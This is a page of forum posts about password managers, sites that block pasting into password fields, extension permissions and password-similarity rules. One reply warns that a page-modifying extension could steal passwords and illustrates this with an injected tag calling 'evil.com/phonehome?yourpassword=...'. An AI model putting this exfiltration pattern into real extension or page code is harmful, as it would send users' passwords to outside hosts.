291–300 of 376 posts
Earlier quoted context omitted.
I don't even have the ability to read my password manager's master key, since all passwords are encrypted with different AES keys, which is then encrypted with a private key I have no ability to read (only ask my smartcard to perform RSA on, if I can authenticate to it). hunter2 is the password manager I wrote for this: https://chiselapp.com/user/rkeene/repository/hunter2/
What if you loose your smartcard ?
Of course it reduces security. It makes you resort to either 1.) typing it out manually while you can't see if you made a mistake 2.) using developer tools to set the 'value' attribute directly "SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right mor…
Earlier quoted context omitted.
That's ludicrous. Is your workstation covered in sticky notes and knickknacks? Are you re-using these passwords? Do you have to buy a new knickknack for every new website you visit that requires a password?
One photograph can contain several virtual knickknacks. I usually don't use sticky notes, as I also make a mnemonic to relate the character to the story. For instance, a story about the beach could use '@' as a conch shell, or '*' as a sea star, or '$' as a sand dollar, or '~' for ocean waves. But everyone has their own tricks for remembering things. And I certainly don't make the effort for sites that I don't consid…
Use a password manager. KeepassX is free, cross-platform, works on phones, does all that work for you, secures even your least-valuable accounts, does things right, doesn't store your passwords "in the cloud" and you'll get to keep applying your scheme to your master password.
Earlier quoted context omitted.
I use a password manager to generate long, complex passwords for every service I use (as complex as the service will allow). For sites that disable pasting, I have developed quite a skill at copying the password character by character from my PM into the password field. I'm even starting to remember a couple of them. Incredibly frustrating.
Use KeePass's auto-type feature. I'm not familiar with other password managers, but for KeePass it emulates a keyboard, and works on sites that disable pasting.
Earlier quoted context omitted.
I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit". I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home? https://security.stackexchange.com/questions/15259/worst-cas...
Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert " rel="nofollow">http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests. The plugin's code is probably quite short - maybe you could inspect it yourself, manually…
Earlier quoted context omitted.
We had a gem at my last university (UCL): you must rotate your password every few months, your password can't be anything like any of the previous ones (i.e. previous ones are stored, and they're not hashed), your password must contain special characters etc. Except.. it can only be 8 characters long. Anything else gets truncated (they explicitly said so). The mind boggles. I have no idea where this limitation comes…
I guess it comes from old UNIX passwords (80s and before). They were limited to 8 characters if my memory doesn't fail me. But they were already stored with one way encryption.
man 3 crypt => https://linux.die.net/man/3/crypt
Earlier quoted context omitted.
> your password can't be anything like any of the previous ones (i.e. they're not stored hashed) That's... not necessarily the case. You can implement that check by only storing hashes of previous passwords, or of patterns derived form them that are also forbidden (e.g. store a bcrypt of every previous password converted to all lowercase and with numbers and symbols removed).
Manager: We need to ensure people aren't using similar passwords on reset, but we can't store the password unhashed. Developer: Similar passwords? Or Same passwords. Similar is hard. M: Similar. Can't let people be lazy with their passwords. D: Well, if we really have to do it, I guess we could store a bunch of hashed variations of the password, but... M: Good! Let's do that. D: ...but that could be a massive amount…
Why not generate a list of similar passwords to the new password, hash them all using the same salt of the previous password and then compare them.
Earlier quoted context omitted.
> For sites that disable pasting, For Firefox, setting the "dom.event.clipboardevents.enabled" about:config option to false prevents clipboard paste events from reaching javascript. No more blocked pasting after you toggle that option, even if the website attempts to do so.
I've seen sites that disable the input whenever the ctrl key is held down.
Earlier quoted context omitted.
Manager: We need to ensure people aren't using similar passwords on reset, but we can't store the password unhashed. Developer: Similar passwords? Or Same passwords. Similar is hard. M: Similar. Can't let people be lazy with their passwords. D: Well, if we really have to do it, I guess we could store a bunch of hashed variations of the password, but... M: Good! Let's do that. D: ...but that could be a massive amount…
Why would they need to store the hash for all the combinations? Why not generate a list of similar passwords to the new password, hash them all using the same salt of the previous password and then compare them.
Also, many sites should have an easy email based login.